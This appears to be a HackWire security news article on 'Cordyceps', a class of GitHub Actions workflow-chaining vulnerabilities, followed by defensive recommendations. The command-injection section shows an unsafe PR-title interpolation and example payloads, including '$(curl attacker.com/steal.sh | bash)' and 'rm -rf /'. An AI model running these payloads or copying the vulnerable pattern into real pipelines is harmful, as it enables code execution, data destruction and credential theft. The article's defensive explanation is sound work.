# The GitHub Actions Attack Pattern Your CI Security Scanners Miss: Why Green Pipelines Can Hide Critical Vulnerabilities


A free GitHub account. No special privileges, no org membership, no insider access. That's all an attacker needs to compromise the build pipelines of Microsoft, Google, Apache, Cloudflare, and the Python Software Foundation — and every automated security scanner protecting those pipelines reported nothing wrong the entire time.


In June 2026, researchers at Novee Security disclosed Cordyceps, a class of GitHub Actions vulnerabilities that exposes a fundamental blind spot in how organizations measure CI/CD security. The findings are stark: across approximately 30,000 high-impact repositories in npm, PyPI, crates.io, and Go, Novee flagged 654 workflows as potentially exploitable and confirmed over 300 as fully compromised. The most damaging aspect isn't the vulnerability itself — it's that existing security scanners and monitoring dashboards have no mechanism to detect it.


## The Threat: Composition Over Configuration


The Cordyceps vulnerability class doesn't hide in a misconfigured workflow or a dangerous permission flag. It lives in the *composition* of workflows — the connections between files that, individually, are valid, well-formed, and pass every security check.


This is the critical distinction: a single workflow file is not exploitable. A chain of workflows is.


Attackers weaponize this by chaining GitHub Actions workflows together in ways that current SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing) tools were never designed to detect. A security scanner examines one workflow file and sees proper YAML, correctly scoped permissions, and approved actions. An attacker sees four steps to permanent credential theft and downstream privilege escalation.


The entry point is deceptively simple: contribute a pull request. No social engineering required. No compromised dependencies. Just a PR comment, a branch name, or a commit title containing carefully crafted commands.


## Background and Context: Why GitHub Actions?


GitHub Actions has become the default CI/CD system for open-source projects and enterprises alike. It's tightly integrated with GitHub's permission model, offering workflows direct access to repository secrets, deployment tokens, and GITHUB_TOKEN credentials that can be used to authenticate as the repository owner.


For legitimate use, this integration is powerful. Automated testing, deployment, and security scanning workflows run at the repository's privilege level, allowing them to perform necessary operations like publishing to package registries or updating repository contents.


But this same integration created an implicit trust assumption: the code that runs in a workflow context comes from the maintainer who committed it to the repository. That assumption has always been partially false — pull requests can contain untrusted code — but the GitHub Actions trigger system was designed to limit the blast radius. The pull_request trigger, the default, runs workflows in an untrusted context with read-only token access and no access to secrets.


Cordyceps exploits the gaps that exist when maintainers use more permissive triggers like pull_request_target and workflow_run, which *do* run in the trusted context with secret access. These triggers were intended for legitimate purposes — running expensive tests only on approved code, or triggering complex multi-stage builds. But they create an attack surface if not carefully guarded.


## Technical Details: Three Primitives of the Attack


Novee identified three exploitation primitives that, individually, are well-understood attack vectors, but in composition become nearly invisible to scanners:


### 1. Command Injection

Attacker-controlled data — a branch name, pull request title, or commit comment — flows directly into a run: step without escaping. The shell interprets the injected content as commands:


- run: echo "Deploying PR #${{ github.event.pull_request.number }}: ${{ github.event.pull_request.title }}"

If the PR title contains shell metacharacters (; rm -rf /, $(curl attacker.com/steal.sh | bash), etc.), they execute in the privileged workflow context.


### 2. Code Injection via actions/github-script

The popular github-script action evaluates JavaScript code directly. If that code pulls from an untrusted input, arbitrary JavaScript runs with access to the GitHub API and any secrets passed into the workflow:


- uses: actions/github-script@v7
  with:
    script: |
      // Attacker can inject code here via PR comments, branch names, etc.
      const response = await github.rest.actions.getRepoSecret({...})

### 3. Cross-Workflow Privilege Escalation

A low-privilege workflow (triggered by pull_request in the untrusted context) writes untrusted data to an artifact or step output. A second, high-privilege workflow (triggered by workflow_run) reads that artifact and acts on it with the maintainer's full token. The first workflow is never exploitable alone. The second is correctly scoped. But together, they form an escalation chain.


## Real-World Impact: Three Critical Examples


### Microsoft Azure Sentinel

On Microsoft's Azure Sentinel repository — the SIEM platform trusted by thousands of organizations to detect attacks — a pull request comment could execute arbitrary code in Microsoft's CI. If exploited, an attacker could steal a non-expiring GitHub App key with write access to the Content Hub, the system that ships detection rules and playbooks to customer deployments. The compromise could persist silently: weakened security rules quietly shipped downstream as trusted updates, undermining the detection capabilities of Microsoft's customers.


### Google's AI Agent Development Kit

Google's publicly available AI Agent Development Kit sample repository is copied by thousands of developers building agents on Google Cloud. A single pull request could escalate to roles/owner on the associated Google Cloud project — permanent, owner-level access to all resources in that project. Every fork, every developer who copies the pattern, every organization that uses it as a template, became a potential entry point.


### Apache Doris

Apache Doris, the distributed analytics database, faced a comparable path to credential theft through its CI workflows. The Apache Security Team confirmed and patched the issue, but the incident demonstrated that the vulnerability class affects projects across different ecosystems and use cases.


In each case, the compromise occurred because the vulnerable code was shipped by trusted maintainers who never realized their workflows were exploitable. The PR looked normal. The CI ran green. The scanners reported success.


## Why Scanners Stay Green


This is the measurement failure that makes Cordyceps dangerous: static analysis tools examine individual files, not the graph of dependencies between them. A linter sees valid YAML. A policy checker sees correctly assigned permissions. A secrets scanner sees no hardcoded credentials. Each file passes every check because each file, in isolation, is correctly configured.


The vulnerability exists at a level of abstraction above what these tools are designed to see. No single line of code is "wrong." The composition is wrong. And composition analysis requires understanding not just what a workflow does, but what other workflows might do with its outputs, what untrusted data might flow into those workflows, and how privilege escalation might chain across multiple files.


Most organizations don't even have visibility into this risk. Security dashboards report "all checks passed." Teams see green status lights and move on. The attack surface remains open.


## Implications for Organizations


The Cordyceps disclosure creates immediate risk for any organization that:

  • Uses GitHub Actions workflows with pull_request_target or workflow_run triggers
  • Runs CI/CD pipelines from pull request data (branch names, commit titles, PR descriptions, comments)
  • Relies on SAST or static policy analysis as their primary CI/CD security control
  • Publishes packages, Docker images, or other artifacts from CI pipelines
  • Maintains security tools, detection rules, or other sensitive content updated via CI/CD

  • For these organizations, "green pipeline" and "secure pipeline" are not the same thing. The gap between them is exactly where attackers are operating.


    The risk is amplified for high-profile projects and widely-used packages, where a compromised build could affect downstream users at scale. But the vulnerability is not limited to large organizations — any project that accepts pull requests from untrusted contributors is potentially exposed.


    ## Recommendations: Closing the Gap


    ### Audit Existing Workflows

    Review all workflows using pull_request_target or workflow_run. Map the flow of data from pull requests into shell commands and script evaluation. Identify which untrusted inputs are touching privileged operations.


    ### Separate Trusted and Untrusted Contexts

    Use pull_request for the default trigger. Use pull_request_target or workflow_run only when absolutely necessary, and only for operations that don't run attacker-controlled code. If you must use permissive triggers, isolate the untrusted logic into a low-privilege workflow, and pass only curated outputs to higher-privilege workflows.


    ### Escape All Untrusted Input

    If pull request data flows into a shell command, use explicit escaping:


    - run: |
        title="${{ github.event.pull_request.title }}"
        echo "Processing: ${title@Q}"  # Proper shell escaping

    For JavaScript, use parameterized operations:


    const title = context.payload.pull_request.title;
    // Don't: eval(title) or template it directly
    // Do: pass it as a safe parameter to API calls

    ### Implement Workflow Composition Analysis

    Ask your CI/CD and security tooling vendors: can you detect privilege escalation chains across multiple workflows? If the answer is no, supplement with manual reviews. Integrate composition-level policy checks into your CI/CD governance.


    ### Rotate Long-Lived Credentials

    GitHub App keys and non-expiring tokens used in CI/CD should be rotated regularly. Implement monitoring and alerts for any unusual API usage patterns from CI/CD workflows.


    ---


    ## HackWire Analysis


    Cordyceps represents a maturation of CI/CD attack tactics that outpaces the tooling designed to defend against them. For years, the security industry operated under the assumption that if a build pipeline runs and passes its checks, the system is secure. Novee has demolished that assumption.


    What makes this particularly insidious is the timing: agentic AI development, where automated agents generate code that gets committed and triggers CI/CD workflows, is accelerating the velocity of code entering pipelines. Human reviewers simply cannot scale fast enough to catch composition-level vulnerabilities across every workflow a developer or agent generates. The attack surface is expanding faster than detection can follow.


    The real lesson is not "GitHub Actions is broken" but rather "composition-level security is invisible to point-tool analysis." This pattern will repeat across other systems that chain together discrete, individually-correct operations — infrastructure-as-code, container orchestration, and serverless deployments. Organizations that treat each scan result as a binary "pass/fail" without reasoning about how operations compose will continue to miss these risks.


    Defenders need to shift from "did the scanner pass?" to "could an attacker chain this with something else?" That requires fundamentally different tooling, or at minimum, human-led composition reviews as a gate before production deployment.


    — *HackWire Editorial*


    ## Related Coverage


  • Read more in our [Tools](https://www.hackwire.news/category/tools) coverage
  • Cross-reference with [Breaches](https://www.hackwire.news/category/breaches) and [Vulnerabilities](https://www.hackwire.news/category/vulnerabilities)
  • Stay current via the [HackWire homepage](https://www.hackwire.news/)